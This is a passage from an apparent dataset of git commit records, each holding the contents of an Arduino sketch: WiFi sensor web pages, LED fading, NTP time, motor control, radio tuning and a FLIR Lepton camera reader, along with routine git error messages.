if(Serial.available()){\n char inChar = Serial.read();\n cmdstr[index++]=inChar;\n if(inChar == '\\n' || index >= CMDSTR_MAX_LEN){\n cmdstr[index-1]='\\0';\n index = 0;\n return 1;\n }\n }\n return 0;\n}\n\n\/\/initialize wifi connection \nvoid WiFi_Init(){\n \/\/ check for the presence of the shield:\n if (WiFi.status() == WL_NO_SHIELD) {\n Serial.println(\"WiFi shield not present\"); \n \/\/ don't continue:\n while(true);\n } \n\n String fv = WiFi.firmwareVersion();\n if( fv != \"1.1.0\" )\n Serial.println(\"Please upgrade the firmware\");\n}\n\n\/\/ print the WiFi connection status using serialport\nvoid printWifiStatus() {\n \/\/ print the SSID of the network you're attached to:\n Serial.print(\"SSID: \");\n Serial.println(WiFi.SSID());\n\n \/\/ print your WiFi shield's IP address:\n IPAddress ip = WiFi.localIP();\n Serial.print(\"IP Address: \");\n Serial.println(ip);\n\n \/\/ print the received signal strength:\n long rssi = WiFi.RSSI();\n Serial.print(\"signal strength (RSSI):\");\n Serial.print(rssi);\n Serial.println(\" dBm\");\n}\n\n\/\/ handl wifi request\nvoid RequestHandler(){\n static unsigned long cur = millis();\n if(status != WL_CONNECTED && *ssid != '\\0' && *psw !='\\0'){\n if((millis()-cur) > 5000){\n Serial.print(\"Attempting to connect to SSID: \");\n Serial.println(ssid);\n \/\/ Connect to WPA\/WPA2 network. Change this line if using open or WEP network: \n status = WiFi.begin(ssid,psw);\n cur = millis();\n }\n } else if(status==WL_CONNECTED) {\n if(!serverconnected){\n server.begin();\n \/\/ you're connected now, so print out the status:\n printWifiStatus();\n serverconnected = 1;\n } else {\n sendpage();\n }\n }\n}\n\n\/\/ send html to client\nvoid sendpage(){\n \/\/ listen for incoming clients\n WiFiClient client = server.available();\n if (client) {\n Serial.println(\"new client\");\n \/\/ an http request ends with a blank line\n boolean currentLineIsBlank = true;\n while (client.connected()) {\n if (client.available()) {\n char c = client.read();\n Serial.write(c);\n \/\/ if you've gotten to the end of the line (received a newline\n \/\/ character) and the line is blank, the http request has ended,\n \/\/ so you can send a reply\n if (c == '\\n' && currentLineIsBlank) {\n \/\/ send a standard http response header\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: text\/html\");\n client.println(\"Connection: close\"); \/\/ the connection will be closed after completion of the response\n client.println(\"Refresh: 2\"); \/\/ refresh the page automatically every 2 sec\n client.println();\n client.println(\"<!DOCTYPE HTML>\");\n client.println(\"<html>\");\n client.println(\"<title>Grove Indoor Environment Kit for Edison<\/title>\"); \n client.println(\"<font face=\\\"Microsoft YaHei\\\" color=\\\"#0071c5\\\"\/>\");\n client.println(\"<h1 align=\\\"center\\\">Grove Indoor Environment Kit for Edison<\/h1>\");\n client.print(\"<br \/>\");\n for(int i=0; i < SENSOR_COUNT; i++){\n client.print(\"<h2 align=\\\"center\\\"><big>\");\n client.print(SerialVarList1[i]);\n client.print(\" = \");\n client.print(SensorValue[i]); \n client.println(\"<\/big><\/h2>\"); \n \/\/client.print(\"<br \/>\");\n } \n client.println(\"<\/html>\");\n break;\n }\n if (c == '\\n') {\n \/\/ you're starting a new line\n currentLineIsBlank = true;\n } else if (c != '\\r') {\n \/\/ you've gotten a character on the current line\n currentLineIsBlank = false;\n }\n }\n }\n \/\/ give the web browser time to receive the data\n delay(1);\n \n \/\/ close the connection:\n client.stop();\n Serial.println(\"client disonnected\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'homework1\/homework1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e5d198a8f4786ee5bdafd78cc28af4c05e162920","subject":"added arduino yun code","message":"added arduino yun code\n","repos":"LuCavallin\/yfirbord-grovepi","old_file":"yun\/yun.ino","new_file":"yun\/yun.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'yun\/yun.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"fdc07f787b45441496bd581d99f02c99eaa933e8","subject":"Light example","message":"Light example\n","repos":"karuuzo\/arduino-playground","old_file":"examples\/light\/light.ino","new_file":"examples\/light\/light.ino","new_contents":"#include <ControlButton.h>\n#include <ControlTimedOutput.h>\n#include <PreciseDelay.h>\n\n\n#define PIN_BUTTON D2\n#define PIN_LIGHT D0\n\nControlButton button(PIN_BUTTON);\nControlTimedOutput light (PIN_LIGHT, 5000);\nPreciseDelay loopDelay;\n\n\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n button.init();\n light.init();\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n button.tick();\n light.tick();\n\n if (button.pressed())\n {\n light.set();\n }\n\n loopDelay.delay();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/light\/light.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"65f8c1698397514ee441a87ef9c829190dbf1446","subject":"Add new main file","message":"Add new main file\n\nThis is the only file used to flash the Teensy driving the lighthouse.\nUsing Arduino IDE 1.6.9 and Teensyduino 1.29.\n","repos":"MFornander\/woop-beacon","old_file":"WoopLight.ino","new_file":"WoopLight.ino","new_contents":"#include <FastLED.h>\n\n#define LEDPIN 13\n#define REDPIN 6\n#define GREENPIN 20\n#define BLUEPIN 21\n#define WHITEPIN 5\n\n\n\n\nCHSV gColor = {0,255,255};\nfloat gWhite = 0;\nfloat gBreathe = 0; \/\/ low intensity version of gWhite (gWhite wins when it's not zero)\n\n\n\/\/ This version is more robust\nvoid SerialCommand()\n{\n int count = 0;\n int num = 0;\n int command = 0;\n \n while (Serial.available())\n {\n char c = Serial.read();\n if (c == 'h' || c == 'b' || c == 's' || c == 'w')\n {\n num = 0; \/\/ always begin anew when command received\n count = 0;\n command = c;\n }\n else\n {\n if (c >= '0' && c <= '9')\n {\n num = (10 * num) + (c - '0') ; \/\/ convert digits to a number\n count++;\n }\n }\n }\n\n switch (command)\n {\n case 'h':\n gColor.h = num;\n Serial.print(\"Color: \");\n Serial.println(num);\n break;\n\n case 'b':\n gColor.v = num;\n Serial.print(\"Brightness: \");\n Serial.println(num);\n break;\n\n case 's':\n gColor.s = num;\n Serial.print(\"Saturation: \");\n Serial.println(num);\n break;\n\n case 'w':\n gWhite = (float)num\/100.0;\n Serial.print(\"White: \");\n Serial.println(num);\n break;\n \n default:\n break;\n }\n}\n\n\n\n\n\nvoid SetLEDs()\n{\n const float kBreatheMax = 0.2;\n \n float white = gWhite;\n if (gWhite == 0)\n white = kBreatheMax * gBreathe;\n\n const int low = 800; \/\/ lowest raw value where white leds turn off\n const int high = 1700; \/\/ highest value we allow for white leds\n \n int rawOutput = white * (high-low) + low;\n if (white == 0)\n rawOutput = 0;\n analogWrite(WHITEPIN, rawOutput);\n\n CHSV hsv(gColor);\n if (gBreathe > 0)\n {\n uint8_t byteBreate = 255.0 * gBreathe;\n Serial.println(gBreathe);\n Serial.println(byteBreate);\n hsv.s = min(255-byteBreate, hsv.s);\n }\n \n CRGB rgb(hsv);\n analogWrite(REDPIN, (255-rgb.r) * 16);\n analogWrite(GREENPIN, (255-rgb.g) * 16);\n analogWrite(BLUEPIN, (255-rgb.b) * 16);\n}\n\n\/\/ Flash the LEDs\nvoid TestPattern()\n{\n for (int i = 0; i < 8; i++)\n {\n gWhite = (i == 0) ? 0 : 1.0;\n SetLEDs();\n delay( 20 );\n }\n gWhite = 0;\n}\n\n\n\nint gFrame = 0;\nint gFrameDelay = 1;\n\n\nvoid BreatheWhite()\n{\n const int kPeriod = 30000; \/\/ frames between breaths\n const int kUpFrame = 4000;\n const int kDownFrame = 6000;;\n int localFrame = gFrame % kPeriod;\n static float sFactor = 1.0;\n\n if (localFrame < kUpFrame)\n gBreathe = (float)localFrame \/ kUpFrame;\n else if (localFrame < kDownFrame)\n gBreathe = 1.0 - (float)(localFrame - kUpFrame) \/ (kDownFrame - kUpFrame);\n else if (localFrame < (kUpFrame + kDownFrame))\n gBreathe = (float)(localFrame - kDownFrame) \/ kUpFrame;\n else if (localFrame < (kDownFrame*2))\n gBreathe = 1.0 - (float)(localFrame - (kDownFrame + kUpFrame)) \/ (kDownFrame - kUpFrame);\n else\n {\n gBreathe = 0;\n sFactor = (float)random(50, 100)\/100.0;\n }\n\n gBreathe = gBreathe * sFactor;\n}\n\nvoid WoopWoop()\n{\n static CHSV beginWoopColor = gColor; \/\/ previous color\n static CHSV endWoopColor = gColor; \/\/ target color\n\n static int beginWoopFrame = gFrame; \/\/ frame where the fade started\n static int endWoopFrame = gFrame; \/\/ intended frame with full fade\n\n \/\/ Time to select next target?\n if (gFrame >= endWoopFrame)\n {\n beginWoopFrame = gFrame;\n endWoopFrame = beginWoopFrame + ( random16( 1000, 2000 ) \/ gFrameDelay );\n beginWoopColor = endWoopColor;\n endWoopColor.h = 232;\n endWoopColor.s = 255;\n endWoopColor.v = 255;\n if ( beginWoopColor.v == 255 )\n {\n endWoopColor.v = 0;\/\/random8(0, 128);\n }\n }\n\n gColor = blend( beginWoopColor, endWoopColor, fract8(((gFrame - beginWoopFrame) * 255) \/ (endWoopFrame - beginWoopFrame)) );\n}\n\nvoid RandomColorFades()\n{\n static CHSV beginColor = gColor; \/\/ previous color\n static CHSV endColor = gColor; \/\/ target color\n\n static int beginFrame = gFrame; \/\/ frame where the fade started\n static int endFrame = gFrame; \/\/ intended frame with full fade\n\n \/\/ Time to select next target?\n if (gFrame >= endFrame)\n {\n beginFrame = gFrame;\n endFrame = beginFrame + ( random16( 1000, 5000 ) \/ gFrameDelay );\n beginColor = endColor;\n endColor.h = random8();\n endColor.s = 255;\n endColor.v = 255;\n if ( beginColor.s == 255 )\n {\n endColor.s = random8(128, 255);\n endColor.v = 0;\/\/random8(0, 128);\n }\n }\n\n gColor = blend( beginColor, endColor, fract8(((gFrame - beginFrame) * 255) \/ (endFrame - beginFrame)) );\n}\n\n\n\nvoid setup()\n{\n Serial.begin(9600);\n randomSeed(analogRead(0));\n \n pinMode( WHITEPIN, OUTPUT );\n pinMode( REDPIN, OUTPUT );\n pinMode( GREENPIN, OUTPUT );\n pinMode( BLUEPIN, OUTPUT );\n\n \/\/analogWriteFrequency(WHITEPIN, 11718.75);\n analogWriteResolution(12);\n\n TestPattern();\n}\n\nvoid loop() \n{\n gFrame++;\n\n \/\/SerialCommand();\n\n const int kPeriod = 100000; \/\/ frames between breaths\n int localFrame = gFrame % kPeriod;\n\n if (localFrame < kPeriod\/2)\n RandomColorFades();\n else if (localFrame < kPeriod)\n WoopWoop();\n \n BreatheWhite();\n \n\n SetLEDs();\n delay(gFrameDelay);\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'WoopLight.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"106eb05e80a87cb4fa7e26b0246be8b2fe8af1c4","subject":"updated for esp32","message":"updated for esp32\n","repos":"distrakt\/OmEspHelpers,distrakt\/OmEspHelpers","old_file":"examples\/NtpReader\/NtpReader.ino","new_file":"examples\/NtpReader\/NtpReader.ino","new_contents":"\n\/*\n * 2019-08-05 dvb\n * simplest example reading NTP to get time of day.\n *\/\n\n#include <OmEspHelpers.h>\n\n\/\/ These includes arent used in this file, but tells Arduino IDE that this project uses them.\n#include <ESP8266WebServer.h>\n#include <ESP8266WiFi.h>\n\nOmWebServer s; \/\/ not serving any pages, put this brings up the wifi.\nOmNtp ntp;\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial.printf(\"\\n\\n\\nWelcome to the Sketch\\n\\n\");\n \n s.addWifi(\"omino warp\", \"0123456789\");\n s.setNtp(&ntp);\n\n ntp.setTimeZone(-8); \/\/ CA, when in Pacific Standard Time, winter\n \/\/ (not Pacific Daylight Time, -7, summer)\n\/*\n *\nYou can get the correct time zone if you run a short PHP script on\na web server you control, in your time zone. Here is the script:\n\n <?\n print date(\"Y-m-d H:i:s\");\n print \" + \";\n print date(\"e\");\n ?>\n\nAnd then you add this line here in setup():\n\n ntp.setTimeUrl(\"http:\/\/myserver.com\/time.php\");\n\nBecause ESP8266 web client library is blocking, we still prefer\nthe NTP protocol running on asynch UDP for the periodic synchronization,\nwith apologies and thanks to the time servers.\n*\n*\/\n}\n\nint ticks = 0;\nvoid loop()\n{\n delay(10);\n s.tick();\n ntp.tick();\n\n ticks++;\n if(ticks % 877 == 0)\n Serial.printf(\"tick %4d, time: %s\\n\", ticks, ntp.getTimeString());\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/NtpReader\/NtpReader.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a719b5477ba2e6928e271bd57f4115b4f227481f","subject":"trust sensor is the same","message":"trust sensor is the same\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8c43aa0c35fca1c79d549b43cde7e985d1aba699","subject":"Changed UziFirmware.sendPinValues() to check if the pin is marked to be reported before sending back its value. Previously it was sending the values of all inputs, and since all pins are set as INPUT by default it was generating a lot of unnecesary traffic.","message":"Changed UziFirmware.sendPinValues() to check if the pin is marked to be reported before sending back its value. Previously it was sending the values of all inputs, and since all pins are set as INPUT by default it was generating a lot of unnecesary traffic.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fb69588d50cbb705f7ea57fac2ef81323f0cf9ed","subject":"add arduino test","message":"add arduino test\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/omniwheel1.ino","new_file":"testing\/arduino\/omniwheel1.ino","new_contents":"#include \"Arduino.h\"\n\n\nint motorPin1_1 = 4;\nint motorPin1_2 = 5;\nint motorPin1_speed = 3;\n\nint motorPin2_1 = 7;\nint motorPin2_2 = 8;\nint motorPin2_speed = 6;\n\nint motorPin3_1 = 10;\nint motorPin3_2 = 11;\nint motorPin3_speed = 9;\n\nint globalSpeedInit = 255;\nint reducedSpeed = globalSpeedInit * 0.09;\n\nint encoderValue_A = 0;\nint encoderValue_B = 0;\nint encoder_PinA = A2;\nint encoder_PinB = A3;\n\n\nvoid setup()\n{\n Serial.begin(9600);\n while (!Serial)\n ;\n Serial.println(\"Init\");\n\n pinMode(motorPin1_1, OUTPUT);\n pinMode(motorPin1_2, OUTPUT);\n pinMode(motorPin1_speed, OUTPUT);\n\n pinMode(motorPin2_1, OUTPUT);\n pinMode(motorPin2_2, OUTPUT);\n pinMode(motorPin2_speed, OUTPUT);\n\n pinMode(motorPin3_1, OUTPUT);\n pinMode(motorPin3_2, OUTPUT);\n pinMode(motorPin3_speed, OUTPUT);\n}\n\n\/*\n void countA() {\n\n encoderValue_A++;\n }\n\n void countB() {\n\n encoderValue_B++;\n }\n*\/\n\n\n\nvoid SetMotor(int pinSpeed, int pin1, int pin2, int speed, bool CW)\n{\n analogWrite(pinSpeed, speed);\n if (!CW)\n {\n analogWrite(pin1, 0);\n analogWrite(pin2, 255);\n }\n else\n {\n analogWrite(pin1, 255);\n analogWrite(pin2, 0);\n }\n\n if (speed == 0)\n {\n analogWrite(pin1, 0);\n analogWrite(pin2, 0);\n }\n}\n\n\n\n\nvoid loop()\n{\n\n SetMotor(motorPin1_speed, motorPin1_1, motorPin1_2, globalSpeedInit, true);\n SetMotor(motorPin2_speed, motorPin2_1, motorPin2_2, globalSpeedInit, true);\n SetMotor(motorPin3_speed, motorPin3_1, motorPin3_2, globalSpeedInit, true);\n delay(2500);\n SetMotor(motorPin1_speed, motorPin1_1, motorPin1_2, globalSpeedInit, false);\n SetMotor(motorPin2_speed, motorPin2_1, motorPin2_2, globalSpeedInit, false);\n SetMotor(motorPin3_speed, motorPin3_1, motorPin3_2, globalSpeedInit, false);\n delay(2500);\n\n\n SetMotor(motorPin1_speed, motorPin1_1, motorPin1_2, globalSpeedInit, true);\n SetMotor(motorPin2_speed, motorPin2_1, motorPin2_2, globalSpeedInit, false);\n SetMotor(motorPin3_speed, motorPin3_1, motorPin3_2, 0, true);\n delay(2500);\n SetMotor(motorPin1_speed, motorPin1_1, motorPin1_2, globalSpeedInit, false);\n SetMotor(motorPin2_speed, motorPin2_1, motorPin2_2, globalSpeedInit, true);\n SetMotor(motorPin3_speed, motorPin3_1, motorPin3_2, 0, true);\n delay(2500);\n\n\n SetMotor(motorPin1_speed, motorPin1_1, motorPin1_2, reducedSpeed, true);\n SetMotor(motorPin2_speed, motorPin2_1, motorPin2_2, reducedSpeed, true);\n SetMotor(motorPin3_speed, motorPin3_1, motorPin3_2, globalSpeedInit, false);\n delay(2500);\n SetMotor(motorPin1_speed, motorPin1_1, motorPin1_2, reducedSpeed, false);\n SetMotor(motorPin2_speed, motorPin2_1, motorPin2_2, reducedSpeed, false);\n SetMotor(motorPin3_speed, motorPin3_1, motorPin3_2, globalSpeedInit, true);\n delay(2500);\n\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/omniwheel1.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"3f744373fc89231b06013cdb0dcda7c594a94789","subject":"Create Tracker_exp.ino","message":"Create Tracker_exp.ino","repos":"Garuda-1\/RealityGateway,Garuda-1\/RealityGateway","old_file":"ESP_SOFTWARE\/Tracker_exp.ino","new_file":"ESP_SOFTWARE\/Tracker_exp.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Garuda-1\/RealityGateway.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e4b32267a0ec616b5c77294856a9d61599c3cde0","subject":"got it working with 74HC273 D-Type Flip-Flop and cleaned up the comments that I put in when I was experimenting with git","message":"got it working with 74HC273 D-Type Flip-Flop and cleaned up the comments that I put in when I was experimenting with git\n","repos":"mule-ear\/shiny-spice,mule-ear\/shiny-spice,mule-ear\/shiny-spice","old_file":"SevSegmentDriver9.ino","new_file":"SevSegmentDriver9.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mule-ear\/shiny-spice.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"26560b63cbb329515a0dab1b7c2efc10c08dbfbf","subject":"update function","message":"update function\n","repos":"stevelacy\/LEDFade,stevelacy\/LEDFade","old_file":"smartRoom.ino","new_file":"smartRoom.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/stevelacy\/LEDFade.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d8e4421d4d8b9dc1ce2c174b7dece6c80cd29c08","subject":"Modified to monitor small laser","message":"Modified to monitor small laser\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/pwm_detector_test\/pwm_detector_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d23a5704b319aa5cc2979ca1bcefb6574f7f87d7","subject":"New example","message":"New example\n","repos":"mroger\/TEA5767,mroger\/TEA5767","old_file":"examples\/SimpleRadioStationSelection.ino","new_file":"examples\/SimpleRadioStationSelection.ino","new_contents":"#include <Wire.h>\n#include <TEA5767N.h>\n\nTEA5767N radio = TEA5767N();\n\nvoid setup() {\n\n radio.selectFrequency(89.1);\n \n}\n \nvoid loop() {\n\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SimpleRadioStationSelection.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ddc6ce5661cda913f744d12b7d156b20ee6ba2c6","subject":"added Arduino showing how to read from the i2c port.","message":"added Arduino showing how to read from the i2c port.\n","repos":"echamberlain\/LeptonModule,PureEngineering\/LeptonModule,echamberlain\/LeptonModule,ManfredHerrmann\/LeptonModule,PureEngineering\/LeptonModule,DougFirErickson\/LeptonModule,ManfredHerrmann\/LeptonModule,groupgets\/LeptonModule,DougFirErickson\/LeptonModule,groupgets\/LeptonModule,PureEngineering\/LeptonModule,MartyMacGyver\/LeptonModule,groupgets\/LeptonModule,DougFirErickson\/LeptonModule,MartyMacGyver\/LeptonModule,BenKluwe\/LeptonModule,BenKluwe\/LeptonModule,ManfredHerrmann\/LeptonModule,echamberlain\/LeptonModule,MartyMacGyver\/LeptonModule,BenKluwe\/LeptonModule","old_file":"arduino_i2c\/Lepton.ino","new_file":"arduino_i2c\/Lepton.ino","new_contents":"\/*\nCopyright (c) 2014, Pure Engineering LLC\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n* Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n\n* Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and\/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include <Wire.h>\n#include <SPI.h>\n\nbyte x = 0;\n#define ADDRESS (0x2A)\n\n#define AGC (0x01)\n#define SYS (0x02)\n#define VID (0x03)\n#define OEM (0x08)\n\n#define GET (0x00)\n#define SET (0x01)\n#define RUN (0x02)\n\n#define VOSPI_FRAME_SIZE (164)\n\nvoid setup()\n{\n \/\/pinMode(pin, INPUT); \/\/ set pin to input\n \/\/digitalWrite(pin, HIGH);\n\n Wire.begin();\n Serial.begin(115200);\n\n pinMode(10, OUTPUT);\n SPI.setDataMode(SPI_MODE3);\n SPI.setClockDivider(0);\n\n SPI.begin();\n\n Serial.println(\"setup complete\");\n}\n\nint spi_read_word(int data)\n{\n int read_data;\n \/\/ take the SS pin low to select the chip:\n digitalWrite(10, LOW);\n \/\/ send in the address and value via SPI:\n read_data = SPI.transfer(data >> 8) << 8;\n read_data |= SPI.transfer(data);\n \/\/ take the SS pin high to de-select the chip:\n digitalWrite(10, HIGH);\n return read_data;\n}\n\nbyte lepton_frame_packet[VOSPI_FRAME_SIZE];\n\n#define IMAGE_SIZE (800)\nbyte image[IMAGE_SIZE];\nint image_index;\nvoid read_lepton_frame(void)\n{\n int i;\n for (i = 0; i < (VOSPI_FRAME_SIZE \/ 2); i++)\n {\n \/\/digitalWrite(10, LOW);\n PORTB &= ~(1 << 2);\n \/\/ send in the address and value via SPI:\n lepton_frame_packet[2 * i] = SPI.transfer(0x00);\n lepton_frame_packet[2 * i + 1] = SPI.transfer(0x00);\n\n\n \/\/ take the SS pin high to de-select the chip:\n \/\/digitalWrite(10, HIGH);\n PORTB |= 1 << 2;\n }\n}\n\nvoid lepton_sync(void)\n{\n int i;\n int data = 0x0f;\n\n PORTB |= 1 << 2;\n delay(185);\n while (data & 0x0f == 0x0f)\n{\n PORTB &= ~(1 << 2);\n data = SPI.transfer(0x00) << 8;\n data |= SPI.transfer(0x00);\n PORTB |= 1 << 2;\n\n for (i = 0; i < ((VOSPI_FRAME_SIZE - 2) \/ 2); i++)\n {\n\n PORTB &= ~(1 << 2);\n\n SPI.transfer(0x00);\n SPI.transfer(0x00);\n\n PORTB |= 1 << 2;\n }\n }\n\n}\n\nvoid print_lepton_frame(void)\n{\n int i;\n for (i = 0; i < (VOSPI_FRAME_SIZE); i++)\n {\n Serial.print(lepton_frame_packet[i], HEX);\n Serial.print(\",\");\n\n }\n Serial.println(\" \");\n}\n\nvoid print_image(void)\n{\n int i;\n for (i = 0; i < (IMAGE_SIZE); i++)\n {\n Serial.print(image[i], HEX);\n Serial.print(\",\");\n\n }\n Serial.println(\" \");\n}\n\nvoid lepton_command(unsigned int moduleID, unsigned int commandID, unsigned int command)\n{\n byte error;\n Wire.beginTransmission(ADDRESS);\n\n \/\/ Command Register is a 16-bit register located at Register Address 0x0004\n Wire.write(0x00);\n Wire.write(0x04);\n\n if (moduleID == 0x08) \/\/OEM module ID\n {\n Wire.write(0x48);\n }\n else\n {\n Wire.write(moduleID & 0x0f);\n }\n Wire.write( ((commandID << 2 ) & 0xfc) | (command & 0x3));\n\n error = Wire.endTransmission(); \/\/ stop transmitting\n if (error != 0)\n {\n Serial.print(\"error=\");\n Serial.println(error);\n }\n}\n\nvoid agc_enable()\n{\n byte error;\n Wire.beginTransmission(ADDRESS); \/\/ transmit to device #4\n Wire.write(0x01);\n Wire.write(0x05);\n Wire.write(0x00);\n Wire.write(0x01);\n\n error = Wire.endTransmission(); \/\/ stop transmitting\n if (error != 0)\n {\n Serial.print(\"error=\");\n Serial.println(error);\n }\n}\n\nvoid set_reg(unsigned int reg)\n{\n byte error;\n Wire.beginTransmission(ADDRESS); \/\/ transmit to device #4\n Wire.write(reg >> 8 & 0xff);\n Wire.write(reg & 0xff); \/\/ sends one byte\n\n error = Wire.endTransmission(); \/\/ stop transmitting\n if (error != 0)\n {\n Serial.print(\"error=\");\n Serial.println(error);\n }\n}\n\n\/\/Status reg 15:8 Error Code 7:3 Reserved 2:Boot Status 1:Boot Mode 0:busy\n\nint read_reg(unsigned int reg)\n{\n int reading = 0;\n set_reg(reg);\n\n Wire.requestFrom(ADDRESS, 2);\n\n reading = Wire.read(); \/\/ receive high byte (overwrites previous reading)\n \/\/Serial.println(reading);\n reading = reading << 8; \/\/ shift high byte to be high 8 bits\n\n reading |= Wire.read(); \/\/ receive low byte as lower 8 bits\n Serial.print(\"reg:\");\n Serial.print(reg);\n Serial.print(\"==0x\");\n Serial.print(reading, HEX);\n Serial.print(\" binary:\");\n Serial.println(reading, BIN);\n return reading;\n}\n\nint read_data()\n{\n int i;\n int data;\n int payload_length;\n\n while (read_reg(0x2) & 0x01)\n {\n Serial.println(\"busy\");\n }\n\n payload_length = read_reg(0x6);\n Serial.print(\"payload_length=\");\n Serial.println(payload_length);\n\n Wire.requestFrom(ADDRESS, payload_length);\n \/\/set_reg(0x08);\n for (i = 0; i < (payload_length \/ 2); i++)\n {\n data = Wire.read() << 8;\n data |= Wire.read();\n Serial.println(data, HEX);\n }\n\n}\n\n\nvoid loop()\n{\n int i;\n int reading = 0;\n String debugString;\n Serial.println(\"beginTransmission\");\n\n \/\/set_reg(0);\n\n \/\/read_reg(0x0);\n\n read_reg(0x2);\n\n\n Serial.println(\"SYS Camera Customer Serial Number\");\n lepton_command(SYS, 0x28 >> 2 , GET);\n read_data();\n\n Serial.println(\"SYS Flir Serial Number\");\n lepton_command(SYS, 0x2 , GET);\n read_data();\n\n Serial.println(\"SYS Camera Uptime\");\n lepton_command(SYS, 0x0C >> 2 , GET);\n read_data();\n\n Serial.println(\"SYS Fpa Temperature Kelvin\");\n lepton_command(SYS, 0x14 >> 2 , GET);\n read_data();\n\n Serial.println(\"SYS Aux Temperature Kelvin\");\n lepton_command(SYS, 0x10 >> 2 , GET);\n read_data();\n\n Serial.println(\"OEM Chip Mask Revision\");\n lepton_command(OEM, 0x14 >> 2 , GET);\n read_data();\n\n \/\/Serial.println(\"OEM Part Number\");\n \/\/lepton_command(OEM, 0x1C >> 2 , GET);\n \/\/read_data();\n\n Serial.println(\"OEM Camera Software Revision\");\n lepton_command(OEM, 0x20 >> 2 , GET);\n read_data();\n\n 